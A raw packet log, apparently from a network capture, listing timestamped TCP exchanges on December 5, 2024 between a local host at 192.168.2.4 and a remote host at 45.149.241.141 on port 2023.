Dec 5, 2024 10:46:37.725749016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.725940943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.725991964 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.726970911 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.727123022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.727166891 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.728147030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.728245020 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.728295088 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.729491949 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.729587078 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.729625940 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.730490923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.730580091 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.730623960 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.731617928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.731758118 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.731803894 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.732913971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.733010054 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.733061075 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.734113932 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.734440088 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.734498024 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.735330105 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.735400915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.735531092 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.736181021 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.736196041 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.736248970 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.737211943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.737263918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.737310886 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.738325119 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.738384962 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.738429070 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.739514112 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.739618063 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.739662886 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.740632057 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.740758896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.740801096 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.741786957 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.741856098 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.741904020 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.742924929 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.743061066 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.743168116 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.744097948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.744153976 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.744823933 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.745136976 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.745210886 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.745258093 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.746439934 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.746494055 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.746545076 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.747127056 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.747210026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.747260094 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.748275995 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.748437881 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.748491049 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.749437094 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.749509096 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.749553919 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.750519037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.805280924 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.883114100 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.883161068 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.883373976 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.883579016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.883594036 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.883667946 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.884434938 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.884588003 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.884677887 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.885581970 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.885659933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.886472940 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.886727095 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.886851072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.886919975 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.887870073 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.888041019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.888223886 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.889000893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.889118910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.889192104 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.890125036 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.890218973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.890306950 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.891283989 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.891391039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.892219067 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.892451048 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.892549992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.892883062 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.893548965 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.893769026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.893840075 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.894697905 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.894830942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.894936085 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.895864010 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.895955086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.896008015 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.897069931 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.897234917 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.897305012 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.898107052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.898283958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.898824930 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.899462938 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.899682045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.899730921 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.900839090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.900899887 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.900953054 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.901694059 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.901849031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.901901960 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.902719021 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.902802944 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.902877092 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.903845072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.903920889 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.903975010 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.904954910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.905071020 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.905122995 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.906079054 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.906127930 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.906183958 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.907226086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.907267094 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.907351971 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.908364058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.908466101 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.908525944 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.909493923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.909735918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.909795046 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.910646915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.910808086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.910866022 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.911813021 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.911993027 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.912050962 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.913034916 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.913089991 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.913165092 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.914184093 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.914272070 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.914535999 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.915267944 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.915343046 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.915400982 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.916332006 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.916424990 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.916472912 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.917546988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.917720079 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.917782068 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.918642998 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.918669939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.918731928 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.919749975 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.919842958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.919905901 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.920953035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.921027899 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.922027111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.922096968 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.922143936 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.922204018 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.923192024 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.923289061 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.923346043 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.924350023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.924415112 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.924468040 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.925487041 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.925586939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.925654888 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.926603079 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.926745892 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.926817894 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.927824974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.927881002 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.927989960 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.928867102 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.928970098 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.929035902 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.930032015 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.930113077 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.930233002 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.931145906 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.931253910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.931359053 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.932284117 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.932391882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.932466984 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.933440924 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.933541059 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.933676958 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.934644938 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.934761047 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.934812069 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.935792923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.935929060 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.936227083 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.936929941 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.937068939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.937118053 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.938064098 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.938117981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.938167095 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.939100027 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.939212084 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.939256907 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.940274954 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.940417051 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.940466881 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.941354990 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.941500902 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.941541910 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.942452908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.992780924 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.075222015 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.075361013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.075544119 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.075870991 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.075995922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.076220989 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.076925039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.077016115 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.078126907 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.078211069 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.078234911 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.078299999 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.079335928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.079360962 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.079452038 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.080295086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.080436945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.080539942 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.081509113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.081583023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.081690073 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.082673073 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.082762003 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.082825899 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.083708048 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.083811998 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.083918095 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.084969997 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.085100889 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.085144043 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.086055994 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.086196899 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.086245060 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.087362051 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.087388992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.087428093 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.088565111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.088608027 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.088656902 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.089430094 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.089509964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.089556932 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.090586901 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.090652943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.090699911 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.091773033 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.091927052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.091979027 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.092895031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.093077898 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.093185902 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.093978882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.094094038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.094142914 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.095163107 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.095263958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.096208096 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.096268892 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.096337080 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.097426891 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.097493887 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.097532034 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.097587109 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.098579884 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.098645926 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.098778009 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.099792957 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.099864960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.100203037 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.100816965 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.100959063 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.101016998 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.101975918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.102070093 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.102119923 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.103153944 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.103262901 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.104132891 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.104223013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.104296923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.104393005 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.105382919 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.105494022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.106040001 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.106550932 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.106663942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.106703997 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.107650995 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.107759953 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.107794046 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.108948946 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.108978033 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.109018087 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.109952927 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.110008955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.110131979 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.111069918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.111109972 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.111222982 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.112214088 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.112330914 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.112375975 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.113394022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.113533020 CET	2023	49738	45.149.241.141	192.168.2.4
